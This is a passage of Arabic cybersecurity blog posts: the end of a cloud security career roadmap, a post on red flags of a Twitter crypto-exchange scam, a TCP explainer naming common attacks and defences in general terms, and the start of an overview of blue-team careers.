تعرف على المفاهيم الأساسية للحوسبة السحابية وخدماتها. يمكن أن تكون شهادات مثل AWS Certified Solutions Architect – Associate أو Microsoft Certified: Azure Fundamentals مفيدة هنا.

3. التخصص في مجال الأمن السحابي

ركز على تعلم أدوات وتقنيات الأمن الخاصة بمنصة سحابية معينة. يمكن أن تكون شهادات مثل AWS Certified Security Specialty أو Microsoft Certified: Azure Security Engineer Associate مفيدة في هذا السياق.

4. اكتساب خبرة عملية

احصل على خبرة عملية من خلال العمل على مشاريع حقيقية أو محاكاة الهجمات الأمنية في بيئات سحابية. العديد من المنصات تقدم خدمات مثل “مختبرات الأمن السحابي” لتوفير تجارب عملية.

5. الانتقال إلى التخصص المتقدم

بمجرد اكتساب الخبرة الأساسية، يمكنك الانتقال إلى تخصصات أكثر تعقيدا، مثل إدارة الهوية والوصول أو التشفير السحابي، أو أمن الشبكات السحابية.

6. النظر في أن تصبح مهندس متعدد السحابة

مع زيادة عدد الشركات التي تعتمد على أكثر من منصة سحابية، يصبح الطلب على مهندسي الأمن السحابي المتعددين أكبر. يتطلب هذا الدور تعلم كيفية تطبيق حلول أمنية تعمل عبر مختلف المنصات.

شهادات مهندس الأمن السحابي

هناك العديد من الشهادات التي يمكن أن تعزز مسيرتك المهنية كمهندس أمن سحابي:

CompTIA Security+: توفر هذه الشهادة أساسيات الأمن الإلكتروني وتعتبر نقطة انطلاق مهمة لأي شخص يرغب في دخول مجال الأمن.
Certified Cloud Security Professional (CCSP): تعتبر هذه الشهادة واحدة من أبرز الشهادات في مجال الأمن السحابي وتغطي جوانب مثل حماية البيانات السحابية، وأمن التطبيقات، وإدارة الهوية.
AWS Certified Security – Specialty: تركيز على توفير الحلول الأمنية في بيئة AWS. تعتبر هذه الشهادة مثالية لأولئك الذين يركزون على هذه المنصة.
Microsoft Certified: Azure Security Engineer Associate: توفر هذه الشهادة معرفة متقدمة بأدوات وتقنيات الأمن في Azure.
Google Professional Cloud Security Engineer: موجهة نحو المهندسين الذين يركزون على حماية بيئات Google Cloud.

هل يجب أن تكون مهندسا متعدد السحابة؟

في عالم يتزايد فيه الاعتماد على مختلف مزودي الخدمات السحابية، يصبح من المفيد أن تكون مهندسا متعدد السحابة. هذا التوجه يمكن أن يفتح لك المزيد من الفرص المهنية ويساعدك في العمل على مشاريع متنوعة تتطلب خبرة في أكثر من منصة سحابية. لكن يجب أن تدرك أن هذا يتطلب استثمارا كبيرا في التعلم المستمر والبقاء على اطلاع على التطورات التقنية في أكثر من منصة.

مصادر تساعدك في رحلتك

إليك بعض المصادر التي يمكن أن تساعدك في رحلتك لتصبح Cloud Security Engineer:

1. الكتب

“Cloud Security and Privacy” من تأليف Tim Mather وSubra Kumaraswamy.
“Architecting the Cloud” من تأليف Michael J. Kavis.
“CCSP Certified Cloud Security Professional All-in-One Exam Guide” من تأليف Daniel Carter.

2. الدورات والشهادات

دورات على منصات مثل Coursera وUdemy حول الأمن السحابي (علما ان تجمع الشباب السوري يوفر وصول مجاني للسوريين للدورات الموجودة على كورسيرا).
الشهادات التي تم ذكرها في الأقسام السابقة مثل CCSP وAWS Certified Security – Specialty.

3. المجتمعات والمنتديات

المشاركة في منتديات مثل Reddit (r/cloudsecurity) وStack Overflow.
الانضمام إلى مجموعات مهنية مثل Cloud Security Alliance (CSA).

الخاتمة

أن تصبح Cloud Security Engineer يتطلب استثمارا كبيرا في التعليم والخبرة العملية. من خلال اتباع خارطة الطريق المذكورة أعلاه، واكتساب الشهادات المطلوبة، والبقاء على اطلاع على أحدث التطورات في المجال، يمكنك بناء مسيرة مهنية ناجحة في هذا المجال المتزايد الأهمية. تذكر أن تستمر في تطوير مهاراتك والبحث عن الفرص للتعلم والنمو في هذا المجال المتطور باستمرار.

طرق مبتكرة للاحتيال عبر منصات العملات المشفرة

Fri, 26 Jul 2024 21:52:17 GMT

يرسل المحتال بيانات دخول حساب على منصة عملات مشفرة مزيفة يظهر فيه رصيد ضخم، ثم يطلب منك الموقع إنشاء حساب VIP وإيداع أموال من محفظتك لتتمكن من سحب الرصيد، فتُفرغ محفظتك. من علاماته: مرسل غريب بلا متابعين ولا ردود، ومسافة داخل رابط الموقع، وغياب أي مراجعات للمنصة، وطلب الدفع من أموالك لتحريك أموال موجودة على المنصة.

من المهم أن تكتشف أو تعرف ما إذا كنت تواجه عملية احتيال عبر الانترنت وخاصة إذا كانت تهتم بالتداول عبر منصات العملات الرقمية المشفرة! في هذا المقال سنحدد لك جميع العلامات الحمراء التي يجب أن تكتشفها والأسئلة التي يجب أن تجيب عليها عندما تواجهك أي رسالة أو موقف احتيالي مع الإشارة والشرح لعملية احتيال حديثة خاصة بتبادل العملات المشفرة.

أفضل طريقة لتجنب الوقوع في عمليات الاحتيال هي التفكير دائماً بشكل نقدي مع المزيد من الشك، ماذا ستفعل إذا ارسل إليك شخص ما رسالة مباشرة على Twitter مع بيانات اعتماد تسجيل الدخول لبعض الحسابات في منصات العملات المشفرة وطلب المساعدة في سحب الأموال من هذه الحسابات؟!

الأمر الصحيح الذي يجب فعله هو تجاهل الرسالة ولكن ربما يراودك أن هذا الأمر قد يكون حقيقي وستسأل نفسك: ماذا لو كانت هذه فرصتك للثراء؟ دعونا نلقي نظرة على هذا الأمر الجذاب بشكل صحيح ونضع قائمة بجميع العلامات الحمراء مع الإشارة والشرح على حادثة حقيقة لعملية استهداف من مثل هذا النوع

في البداية دعنا نلقي نظرة على لقطة شاشة للرسالة التالية

يرسل لك شخص غريب على Twitter بيانات الاعتماد المفترضة لحساب معين على بعض منصات العملات المشفرة

وحسب قوله إنها تحتوي على مبلغ مكون من ستة أرقام يبدو أن المرسل يحتاج إلى مساعدتك لسحب هذا المبلغ، والمثير للدهشة إذا ذهبت إلى الموقع وأدخلت بيانات الاعتماد فسيتم نقلك إلى حساب شخصي حقيقي يحتوي على المبلغ المحدد أو رقم قريب منه لكن إلى الآن لم نكتشف عملية الاحتيال بعد!

فكر بشكل نقدي وابحث عن العلامات الحمراء

لنبدأ بالأساسيات: إذا كان لديك بضع مئات الآلاف من الدولارات فهل ستطلب من شخص غريب تماماً المساعدة في إدارتها؟

بالتأكيد لا ولن يفعل أي شخص آخر هذا الأمر!

المنطق وحده كافي لإرسال الرسالة (وجميع الرسائل الاحتيالية الأخرى الغير مرغوب به) إلى سلة المحذوفات فوراً، و لكن نحن لن نقوم بذلك وسنقوم بعملية التحقيق في جميع العلامات الحمراء وتحليل واكتشاف عملية الاحتيال دعونا نجد سبباً للمتابعة: لنفترض أن الظروف قد أجبرت بالفعل شخص غريب تماماً على طلب المساعدة وأن اختياره قد وقع عليك، ما الذي يبدو غير منطقي في هذا الأمر؟

في البداية دعونا نتعرف على فاعل الخير المجهول بشكل أفضل

أولاً: حساب Twitter الخاص به لا يحتوي على أي متابعين وهو لا يتابع أي من الحسابات الأخرى وهذا الأمر هو علامة حمراء أخرى واضحة؛ لأن الهدف الحقيقي من إنشاء حساب على وسائل التواصل الاجتماعي هو التواصل ومتابعة الآخرين.
ثانياً: هذا الشخص ليس اجتماعياً، لقد حاولنا إرسال رسائل له لكننا لم نتلق أي رد وهذه أيضاً علامة حمراء أخرى تشير إلى أن هذه الرسالة عبارة عن رسالة بريدية جماعية، وهذا يعني أنه قد تم إرسال نفس الرسالة التي تحوي على اسم المستخدم وكلمة المرور لعشرات أو مئات أو حتى آلاف الأشخاص.

كم نسبة هؤلاء الأشخاص الذين تعتقد أنهم حاولوا بالفعل تسجيل الدخول؟

ثالثاً: علامة حمراء أخرى، يشير اسم المستخدم وكلمة المرور إلى أن المستخدم اسمه Adam (اسم المستخدم وكلمة السر هي “Adam” بالمناسبة ضعيفة جداً) في حين أن اسم الحساب على Twitter الذي جاءت منه الرسالة لا علاقة له باسم Adam، هل من الممكن أن المهاجم يريد مننا أن نفرغ حساب مخترق لعملات مشفرة ويجعلنا شركاء في الجريمة؟ في الواقع لا توجد أي عملات رقمية مشفرة في هذا الحساب، تابع القراءة لتدرك حقيقة هذا الأمر.
أخيراً: سيرصد الخبراء علامة حمراء أخرى وهي المسافة في عنوان URL للموقع حيث من المفترض أن توجد العملة المشفرة، هذه هي الطريقة التي يحاول بها المحتالون تجاوز الحماية الخاصة بفحص وفلترة الروابط إذ يتم إعلامك برسالة جديدة على Twitter تحوي على رابط لمنصة خاصة بتبادل العملات المشفرة مع معلومات تسجيل دخول لحساب في هذه المنصة وبعد أن تذهب فعلياً إلى الموقع تظهر العلامات الحمراء واحدة تلو الأخرى:

التصميم بسيط وسريع ولا يؤدي البحث عن اسم الدومين في غوغل إلا إلى نتائج ومن المؤكد أن منصات أو مواقع تبادل العملات المشفرة الحقيقية حتى غير المعروفة سيكون لها بعض المراجعات في وسائل الإعلام أو في المنتديات. كل هذه الأمور تشير إلى أن هذا الموقع هو موقع مزور وذلك حتى قبل أن نصل إلى العلامة الحمراء القاتلة والتي تكشف جوهر عملية الاحتيال بالكامل

الدفع لسحب العملة المشفرة

اتضح أنه لسحب الأموال خارج المنصة يلزم إدخال كلمة سر أخرى أو ما يسمى بالمفتاح التجاري والذي لم يعطى لنا ولكن من الممكن أن يتم تحويل الأموال داخل المنصة نفسها و من أجل ذلك تحتاج إلى إنشاء حساب جديد VIP ومن ثم تعبئته بأموال آدم. وبعد القيام بذلك سنتمكن من سحب الأموال دون أي عوائق، أليس كذلك؟

الموقع نفسه “منصة العملات المشفرة” هو مجرد موقع للتصيد الاحتيالي، مع الانتشار الكبير للعملات المشفرة في الفترة الأخيرة أنشأ المحتالون العديد من هذه المواقع وأرسلوا تفاصيل تسجيل الدخول إلى حسابات Twitter مختلفة.

بالنسبة إلى “منصة العملات المشفرة” هناك علامتان مشبوهتان

أولاً: لا يتم إرسال العملة المشفرة أبداً من خلال طريقة give-us-your-wallet-details وبدلاً من ذلك تتلقى عنوان دفع لإرسال المبلغ المطلوب إليه من واجهة محفظتك.
ثانياً لن تطلب منك أي منصة مالية جديرة بالثقة استخدام أموال الجهات الخارجية للتعامل مع الأموال الموجودة بالفعل لديها، ممكن أن يتم فرض رسوم للتحويل ولكن طلب الدفع باستخدام بطاقة مختلفة لسحب الأموال من بطاقة أخرى، هذا غريب بصراحة ولم نذكر حتى اللغة الإنجليزية السيئة والتصميم الغير احترافي والتي تعتبر من السمات المميزة الدائمة لمواقع التصيد الاحتيالي.

كيفية تجنب هجمات التصيد الاحتيالي

حتى لا تقع ضحية لمثل هذا النوع من الهجمات عليك أن تفهم كيف يعمل المحتالون وتكون قادر على اكتشاف جميع التناقضات وتتحقق من هذا الأمر مثل ما فعلنا نحن وحددنا جميع العلامات الحمراء المذكورة أعلاه.

بعض الأسئلة التي يجب أن تطرحها على نفسك عند مواجهة أي عرض مثير مثل العرض السابق

هل يمكن أن يكون روبوت bot؟ أليس غريباً أنه لم يرد على الإجابة المرسلة له؟
هل تبدو الرسالة مريبة ؟ (على سبيل المثال ، في اسم الدومين المذكور يوجد فراغ لخداع الفلاتر الخاصة بفحص أسماء الدومينات)
ما نوع الموقع الذي يُطلب مني زيارته؟ ماذا يقول الناس عنه على الإنترنت؟ ابحث في الغوغل عن اسم الموقع واسم الدومين وشاهد وتحقق من نتائج البحث، هل يوجد نتائج؟ هل تحوي على مراجعات للمستخدمين؟
هل التصميم والواجهة يلهمان الثقة (بالتأكيد ، نصف مواقع الويب لا تفعل ذلك لكنك لا تستخدمها لإرسال الأموال)
هل يبدو منطقياً أن يُطلب منك القيام بهذا الأمر؟ هل من الطبيعي أن تضطر إلى الدفع باستخدام أموال من جهة خارجية لإجراء معاملات بأموال موجودة بالفعل على المنصة؟

تأكد من كل هذه الأمور وفكر بالمزيد من الشك ولا تتسرع وتنخدع بمثل هذه الطرق والحيل المخادعة

من خلال أخذ نفس عميق والإجابة على الأسئلة السابقة ستفهم بشكل أفضل ما يجري ولن تفقد حذرك بسبب فكرة المال السهل الذي يبدو قريباً جداً!

تشير كثرة العلامات الحمراء في هذه الحالة بوضوح إلى أنك تتعامل مع محتالين، ولكن علامة حمراء واحدة فقط يجب أن تكون كافية لتنبيهك حتى لو لم تأتي هذه الرسالة من مستخدم عشوائي، وكانت قادمة من صديق حقيقي وموثوق بالنسبة لك، فلا يزال يتعين عليك توخي الحذر، من يدري ربما تم اختراق حساب صديقك وتم استخدامه من قبل المهاجمين للقيام بهذا الأمر

للحصول على حساب VIP تحتاج إلى إيداع بعض الأموال في الحساب الجديد عن طريق إعطاء تفاصيل محفظة العملة المشفرة الخاصة بك

لكن عند القيام بذلك لن يكون هناك أي شيء يمكنك سحبه بعد ذلك لأنه سيتم إفراغ محفظتك الخاصة باستخدام بيانات الاعتماد التي تفضلت بتقديمها

في النهاية

قد تبدو هذه العلامات الحمراء أمور بديهية للعديد من الأشخاص المختصين أو ذوي الخبرة في هذا المجال

ولكن بالنسبة للمستخدم العادي فمن المؤكد أنه سيقع ضحية لمثل هذا النوع من الهجمات وسيتمكن المهاجم من خداعه وسرقة أمواله ولهذا السبب فإن الأمن السيبراني هو حاجة وضرورة وليس رفاهية.

يجب عليك تعلم أساسيات الأمن السيبراني على الأقل لتتمكن من اكتشاف طرق وأساليب الخداع وتفهم طريقة المهاجمين ومجرمي الانترنت وتكون قادراً على التمييز بين الرسائل الشرعية والرسائل المخادعة وتكون أيضاً قادراً على التمييز بين الروابط والمواقع الشرعية والمواقع المخادعة.

من خلال مدونتنا يمكنك الاطلاع على العديد من المقالات التي تشرح أساسيات الأمن السيبراني وطرق الحماية مع شرح لطرق الهجوم بلغة بسيطة ومفهومة للمستخدم العادي. وبالتأكيد يجب أن تتبع النصائح التي نقدمها لك وتتخذ إجراءات الحماية المطلوبة لتكون على الجانب الآمن ضمن شبكة الانترنت.

للمزيد من نصائح الحماية انصحك بقراءة “دليل الحماية الشامل“

ماذا تعرف عن بروتوكول التحكم بالنقل TCP؟

Mon, 15 Jul 2024 10:02:21 GMT

بروتوكول التحكم بالنقل TCP أساس نموذج TCP/IP، ينشئ اتصالاً بين العميل والسيرفر بالمصافحة الثلاثية (SYN، SYN-ACK، ACK) ثم يقسم البيانات ويؤكد استلامها ويعيد ترتيبها. لا يوفر تشفيراً أو مصادقة، لذا يُستخدم معه TLS أو SSL، ومن أشهر هجماته SYN Flood وسرقة الجلسة والتنبؤ بالرقم التسلسلي.

هل تساءلت يوماً عن شكل الرحلة التي تقطعها رسالتك الإلكترونية عبر شبكة الإنترنت لكي تصل بسرعة فائقة ودقة تامة إلى أصدقائك في الطرف الآخر من العالم، متخطيةً جميع الحواجز الجوية والمسافات البعيدة؟! إذا كانت الإجابة لديك لا تزال تختبىء في زوايا الغموض، فهذا المقال لك.

سنتعرف في هذا المقال على العمود الفقري والبطل الخفي وراء عالم شبكات الإنترنت والذي يلعب دوراً مهماً وفعالاً في توصيل رسائلنا اليومية بكفاءة ودقة وموثوقية تامة.

نعم! إنه بروتوكول التحكم بالنقل TCP!

ما هو TCP؟

بدايةً يشير اختصار TCP إلى Transmission Control Protocol أي بروتوكول التحكم بالنقل أو الإرسال، يشكّل هذا البروتوكول حجر الأساس لنموذج الاتصال عبر الشبكة الشهير TCP/IP ، فهو يتحكم في كيفية نقل البيانات بين نظامين: العميل والسيرفر ويتأكد من تحقيق ذلك بنجاح وهو أيضاً من البروتوكولات التي تعتمد على ما يسمى بالاتصال الموجّه (القيام بتأسيس عملية الاتصال بين الجهازين ومن ثم البدء بإرسال البيانات عبر الشبكة) تم تطوير هذا البروتوكول في السبعينيات من قبل Vint Cerf and Bob Kahn وأصبح جزءاً أساسياً من الاتصال عبر الإنترنت منذ ذلك الحين إلى يومنا هذا.

كيف يعمل TCP؟

لقد تعرفنا للتو على صديقنا الجديد TCP والذي يحظى بمكانة رفيعة في عالم الشبكات والآن لنقم بجولة سريعة لاستكشاف كيفية عمله بدقة ومهارة

مرحبا! أنا بروتوكول التحكم بالنقل TCP ، مهمتي الأساسية هي ضمان نقل البيانات بطريقة موثوقة وخالية من الأخطاء عبر الشبكات المتنوعة، دعوني أشرح لكم مراحل عملي :

إنشاء الاتصال: قبل أن أقوم بنقل أي بيانات يجب إنشاء اتصال TCP باسمي بين الجهازين ويتم تحقيق ذلك من خلال عملية تسمى المصافحة الثلاثية بين الأجهزة (SYN, SYN-ACK, ACK).
تقسيم البيانات: أقوم بتقسيم البيانات المُراد إرسالها إلى Packets صغيرة لتسهيل عملية الإرسال.
إعادة التجميع: عند وصول الحزم إلى الطرف المستقبل أعيد تجميعها لضمان وصول البيانات بشكل كامل وصحيح.
التحكم بالإرسال: أتحكم في إرسال البيانات وأضمن وصول جميع الحزم دون فقدان.
التأكيدات: أرسل ACK للتأكد من استلام الحزم وفي حالة عدم الاستلام أعيد إرسال الحزمة المفقودة.
إعادة الترتيب: أقوم بإعادة ترتيب الحزم التي قد تصل بترتيب غير صحيح لضمان استعادة البيانات الأصلية.
إنهاء الاتصال: عندما أقوم بنقل كافة البيانات يتم إنهاء اتصال TCP من خلال عملية مصافحة أخرى.

هل عرفتم الآن سبب تسميتي ببروتوكول الموثوقية المطلقة؟ !

هل TCP آمن؟

نحن نعلم أن بروتوكول TCP يوفر طريقة موثوقة وفعالة لنقل البيانات، إلا أنه لا يوفر أي آليات تشفير أو مصادقة لتأمين هذه البيانات مما يعني أن حزم البيانات المرسلة عبر TCP ليست آمنة بطبيعتها ويمكن اعتراضها أو سرقتها إذا تعرضت الشبكة للاختراق.

ولهذا السبب ولتعزيز الحماية عبر اتصالات TCP ، غالباً ما يتم استخدام بروتوكولات إضافية مثل TLS (Transport Layer Security) أو SSL (Secure Sockets Layer) ، توفر هذه البروتوكولات تشفيراً للبيانات التي يتم إرسالها، مما يضمن أنه حتى في حالة اعتراض حزم البيانات فإنه لا يمكن قراءتها أو التلاعب بها بسهولة، من المهم ملاحظة أنه على الرغم من إمكانية جعل TCP آمناً من خلال هذه التدابير الإضافية إلا أن البروتوكول نفسه لا يضمن الحماية ضد جميع أنواع التهديدات السيبرانية!.

هجمات TCP الأكثر شيوعاً

في عالم الأمن السيبراني، يوجد اعتقاد ثابت وهو

كل شيء متصل عبر شبكة الانترنت معرض للهجوم والاختراق ومبدأ الحماية المطلقة ضد الهجمات مرفوض تماماً!

وبالتالي لا يمكننا التهرب من الحديث عن أكثر الهجمات شيوعاً والتي تعرض لها بروتوكول TCP :

SYN Flood Attack : نوع من هجمات منع الخدمة (DoS) والذي يستغل عملية المصافحة الثلاثية التي يستخدمها TCP لإنشاء الاتصال، حيث يرسل المهاجم عدداً كبيراً من طلبات SYN إلى السيرفر الهدف مما يفوق قدرته على معالجتها ويتسبب في خروجه عن الخدمة.
TCP Session Hijacking : هجوم سرقة جلسة الاتصال عبر TCP ، حيث يقوم المهاجم باعتراض جلسة TCP موجودة والاستيلاء عليها ويمكنه بعدها التنصت على الاتصالات أو إدخال بيانات خاطئة في الجلسة أو تعطيل الجلسة تماماً، هذا النوع من الهجوم وارد جداً نظراً لأن المصادقة يتم إجراؤها فقط في بداية جلسة TCP، يوجد أيضاً هجوم رجل في المنتصف man-in-the-middle وهو نوع آخر من هجوم سرقة الجلسة، حيث يمكن للمهاجم ومن خلال استخدام أدوات معينة مراقبة الاتصال بين الأجهزة والاطلاع على البيانات المنقولة.
TCP Sequence Prediction : في هذا الهجوم يحاول المهاجم التنبؤ بالرقم التسلسلي الذي يستخدمه TCP لإنشاء الاتصال ويمكن للمهاجم بعد ذلك استخدام هذه المعلومات لإدخال بيانات خاطئة في الاتصال أو تعطيل الاتصال أو سرقة معلومات حساسة.

كيفية منع هجمات TCP؟

كما قلنا سابقاً، لا يوجد حماية مطلقة ولكن نحن نقوم بتوخي الحيطة والحذر للتقليل قدر الإمكان من الأضرار الناجمة عن أي هجوم وذلك من خلال بعض الإجراءات:

استخدام طرق تشفير قوية: يعد تشفير البيانات التي يتم إرسالها عبر بروتوكول TCP أحد أفضل الطرق لمنع التنصت والتلاعب بالبيانات.
استخدام جدران الحماية: يمكن استخدام جدران الحماية لتقييد حركة البيانات الواردة والصادرة من وإلى الشبكة، مما يقلل من مخاطر الاستغلال.
مراقبة نشاط الشبكة: من خلال مراقبة حركة البيانات عبر الشبكة، من الممكن اكتشاف النشاط المشبوه واتخاذ الإجراء الفوري والمناسب، كما يمكن استخدام أدوات المراقبة مثل أنظمة كشف الاختراق (IDS) لتحديد التهديدات المحتملة واتخاذ الإجراءات اللازمة للتخفيف منها.
المحافظة على تحديث الأنظمة: يساعد تحديث الأنظمة بانتظام في سد أي ثغرات أمنية قد تكون موجودة، يعد تحديث الأنظمة بأحدث الإصلاحات الأمنية جزءاً مهماً من منع الهجمات.
تطبيق آليات للمصادقة وتحديد الصلاحيات: يمكن أن يساعد تطبيق آليات المصادقة وتحديد مستوى الصلاحيات، مثل كلمات المرور وعناصر التحكم في الوصول في منع الوصول غير المصرح به إلى موارد الشبكة.
إجراء تقييمات أمنية منتظمة: تساعد التقييمات الأمنية المنتظمة في تحديد نقاط الضعف الأمنية المحتملة في الشبكة ومعالجتها.
توعية وتدريب المستخدمين: هناك مقولة شائعة في عالم الأمن السيبراني “إن أضعف عنصر في أي نظام هو العنصر البشري” لذلك لا يجب الاستخفاف بهذا البند أبداً، بل يجب على الشركات الحرص على نشر الوعي وتثقيف الموظفين بشكل دوري حول ممارسات الحوسبة الآمنة، مثل تجنب عمليات التصيد الاحتيالي واستخدام كلمات مرور قوية لتقليل المخاطر المحتملة.

في نهاية رحلتنا مع بروتوكول TCP

نجد أنفسنا أمام تقنية عظيمة تعمل بصمت وكفاءة لتوصيل أفكارنا ورسائلنا عبر الأثير الرقمي متخطيةً الحدود والمسافات، لقد تعلمنا أن TCP هو البطل غير المرئي الذي يضمن وصول كل كلمة وكل معلومة محافظاً على سلامة البيانات وتسلسلها وموفراً لنا الثقة في عالم الاتصالات الذي لا ينام.

مع ذلك، لا يخلو الأمر من التحديات والمخاطر فالأمان الرقمي لا يزال يتطلب يقظة دائمة وتحديثاً مستمراً .

ما يتوجب علينا نحن أن نتذكر دورنا كمستخدمين في الحفاظ على أمان شبكاتنا فالوعي والمعرفة هما خط الدفاع الأول ضد التهديدات السيبرانية فلنتحمل جميعاً المسؤولية في تعزيز أمان بياناتنا وخصوصيتنا لنتمكن من البقاء متصلين بأمان في هذا العالم الرقمي الواسع!.

مجالات عمل الأمن السيبراني – الفريق الأزرق

Fri, 03 May 2024 11:11:09 GMT

يضم الفريق الأزرق في الأمن السيبراني ثمانية تخصصات دفاعية: مهندس الحماية، محلل مركز العمليات SOC، تحليل البرمجيات الخبيثة، التحليل الجنائي الرقمي، إدارة الهوية والوصول، الاستجابة للحوادث، اصطياد التهديدات، واستخبارات التهديد. وغالباً ما يكون بوابة الدخول الأولى لمهنة الأمن السيبراني.

ما هو شائع عموماً بأن الأمن السيبراني هو اختصاص واحد فقط، وهذه المعلومة خاطئة للغاية. لأن مجال الأمن السيبراني هو مجال واسع جداً، وتندرج تحته العديد والعديد من التخصصات الفرعية لحماية الأنظمة والمعلومات المتبادلة عبرها.

في عالمنا الرقمي المتصل

كل شيء متصل بشبكة الانترنت هو عرضة للاختراق ويحتاج إلى الحماية

في هذه السلسلة من المقالات سنقدم لكم لمحة عامة عن أغلب مجالات عمل الأمن السيبراني.

إن كنت مبتدئاً في هذا المجال وترغب في الاطلاع على مجالات عمل الأمن السيبراني، أو إن كنت مختصاً بالفعل في هذا المجال وتسعى لتغيير لون قبعتك، فهذا المقال هو لك.

اقرأه بعناية! قد تجد تشابهاً كبيراً في مجالات عمل الأمن السيبراني. إلا أنه هناك فروقات بين كل تخصص والآخر، وكل الشركات الكبيرة تعتمد تخصصات معينة ومحددة للأدوار. يجب أن تعلم أن جميع مجالان عمل الأمن السيبراني تندرج تحت ثلاث عناوين رئيسية، وهي: الفريق الأزرق والفريق الأحمر وتخصصات GRC.

الفريق الأزرق

الفريق الأزرق أو ما يطلق عليه عالمياً بمصطلح Blue Team هو خط الدفاع الأول ضد الهجمات الإلكترونية. وهو عبارة عن مجموعة الأشخاص المسؤولين عن حماية البرامج والأنظمة والشبكات من الاختراقات والهجمات السيبرانية.

تخصصات الفريق الأزرق

1.مهندس الحماية Security Engineer

المهمة الأساسية لمهندس الحماية هي إعداد وتشغيل أنظمة وحلول الحماية الخاصة بالشركة. قد يتضمن ذلك تنفيذ واختبار ميزات جديدة والتخطيط لترقية الأنظمة واستكشاف الأخطاء وإصلاحها والاستجابة للحوادث الأمنية. قد يطلق على مهندسي الحماية أيضاً اسم مهندسي الأمن السيبراني أو مهندسي أمن نظم المعلومات أو مهندسي أمن المعلومات أو مهندسي أمن الشبكات.

بعض المهام الرئيسية

إعداد وتصميم وتشغيل الحلول الأمنية: للتخفيف من المخاطر والتهديدات الأمنية.
تقييم المخاطر: تحديد التهديدات والمخاطر المحتملة على الأنظمة والشبكات.
الصيانة: مراقبة الضوابط الأمنية وتحديثها وصيانتها باستمرار.
التوعية والتدريب: توعية وتدريب الموظفين على المخاطر الأمنية وإرشادهم للامتثال بالضوابط الأمنية.

2.محلل مركز عمليات الأمن السيبراني SOC Analyst

يعتبر هذا التخصص من التخصصات المشهورة والأكثر طلباً في مجالات عمل الأمن السيبراني. يتكون من فريق كامل من المتخصصين العاملين في مركز عمليات الأمن السيبراني SOC – Security Operations Center، موزعين حسب الخبرة إلى ثلاثة مستويات: المستوى الأول Tier 1 والمستوى الثاني Tier 2 والمستوى الثالث Tier 3. حيث يعتبر المستوى الأول أقل خبرة والمستوى الثالث أعلى خبرة. يعمل الفريق بأكمله على مراقبة وإدارة الأحداث والعمليات الأمنية لمؤسسة معينة ويُعد جزءاً أساسياً من البنية التحتية الأمنية للمؤسسة، حيث يسهم في تحليل ومراقبة الأنظمة والشبكات والبيانات المتبادلة عبرها، بالإضافة إلى مراقبة التنبيهات الأمنية والاستجابة للحوادث الأمنية والتصدي للهجمات والتهديدات المحتملة وحماية الأصول الرقمية والمعلومات الحساسة للشركة أو المؤسسة.

بعض المهام الرئيسية

مراقبة وتحليل التنبيهات الأمنية الواردة: يقوم المختص في هذا المجال بمراقبة سجلات الأحداث والتنبيهات التي تصدر عن أنظمة كشف ومنع الاختراق IDS/IPS، بالإضافة إلى التعامل مع نظام إدارة الأحداث الأمنية (SIEM) وغيرها من أدوات وحلول الحماية الأخرى.
فرز وتصنيف التهديدات: تحديد أولوية التنبيهات وتصنيفها بناءً على خطورتها ومدى احتمالية أن تكون هجوم حقيقي.
الاستجابة للحوادث الأمنية: بعد أن يقوم محللو المستوى الأول بتحديد التنبيهات المرتبطة بحوادث أو تهديدات أمنية حقيقية، يعمل محللو المستوى الثاني على الاستجابة لهذه الحوادث وتقليل الضرر المرتبط بها.
اكتشاف واصطياد التهديدات Threat Hunting: يقوم بهذه المهمة محللو المستوى الثالث من خلال البحث عن التهديدات التي تمكنت من الوصول للبنية التحتية للشبكة أو النظام بدون أن يتم اكتشافها من قبل أنظمة الحماية المطبقة.

3.محلل البرمجيات الخبيثة Malware Analysis

يندرج هذا المسمى تحت تخصاصات الأمن السيبراني الهامة. يعمل محلل البرمجيات الخبيثة على تحليل ودراسة سلوك البرامج الضارة والخبيثة التي صُممت للقيام بعمليات اختراق الأنظمة وسرقة المعلومات الحساسة أو تشفيرها أو التلاعب بها. تأتي أهمية هذا التخصص لتزويد شركات الحماية بالتوقيعات الرقمية أو أنماط السلوك المشبوهة للبرمجيات الخبيثة ليتم اكتشافها ومنعها بشكل فعال.

بعض المهام الرئيسية

تحليل البرمجيات الخبيثة: تحديد نوع البرمجية الخبيثة وطريقة عملها وكيفية انتشارها عبر الأنظمة والشبكات.
تقييم التهديد: معرفة مدى خطورة البرمجيات الخبيثة وما الطرق الفعالة للحد منها.
تحليل الثغرات الأمنية: اكتشاف الثغرات التي تم استغلاها من قبل هذه البرمجيات الخبيثة والعمل على إصلاحها.
تطوير الحلول والأدوات: العمل على بناء الأدوات وحلول الحماية القادرة على اكتشاف ومنع انتشار البرمجيات الخبيثة.
كتابة التقارير: كتابة التقارير الدورية المفصلة عن التحليلات والتهديدات وطرق معالجتها.

4.التحليل الجنائي الرقمي Digital Forensics

المهمة الرئيسية لمختصي التحليل الجنائي الرقمي هي جمع المعلومات والتحقيق في عمليات الاختراق السيبرانية أو الأنشطة غير القانونية. تجد هذا التخصص بشكل كبير في المراكز الأمنية أو في الشركات للتحقيق في الجرائم الإلكترونية و الانتهاكات الأمنية.

بعض المهام الرئيسية

جمع الأدلة الرقمية: يتولى الخبير أو المحلل الجنائي الرقمي مهمة جمع البيانات من مصادر مختلفة، سواء كانت من أجهزة الكمبيوتر أو من الأجهزة اللوحية أو من الهواتف الذكية، مع الحرص والتأكد من سلامة الأدلة الرقمية وعدم التلاعب بها.
تحليل البيانات: يقوم الخبير في هذا التخصص بتحليل البيانات باستخدام أدوات وبرامج خاصة لاستخلاص المعلومات المفيدة للتحقيق.
استعادة البيانات: استرجاع البيانات التي قد تم إخفاؤها أو حذفها باستخدام أحدث التقنيات.
كتابة التقارير: بعد أن تتم عمليات جمع البيانات واستردادها وتحليلها، يقوم المحلل الجنائي الرقمي بكتابة تقرير مفصل وواضح عن الانتهاكات التي حصلت وعن جميع النتائج التي تم التوصل إليها.
التعامل مع الجهات الحكومية: في حال كان المحلل يعمل مع جهات حكومية، قد يتم استدعائه لتقديم تقريره أمام المحكمة.

5.إدارة الهوية والوصول IAM (Identity and Access Management)

هذا التخصص من تخصصات الأمن السيبراني التي من الممكن أن تكون مفيدة للمختصين الجدد في مجال الأمن السيبراني،فهو يركز على إدارة هوية المستخدمين و تحديد الصلاحيات المسموحة لكل مستخدم، بالإضافة إلى إدارة الموارد وتحديد مستوى الصلاحيات وإمكانية الوصول إلى الموارد والخدمات الخاصة بالشركة.

بعض المهام الرئيسية

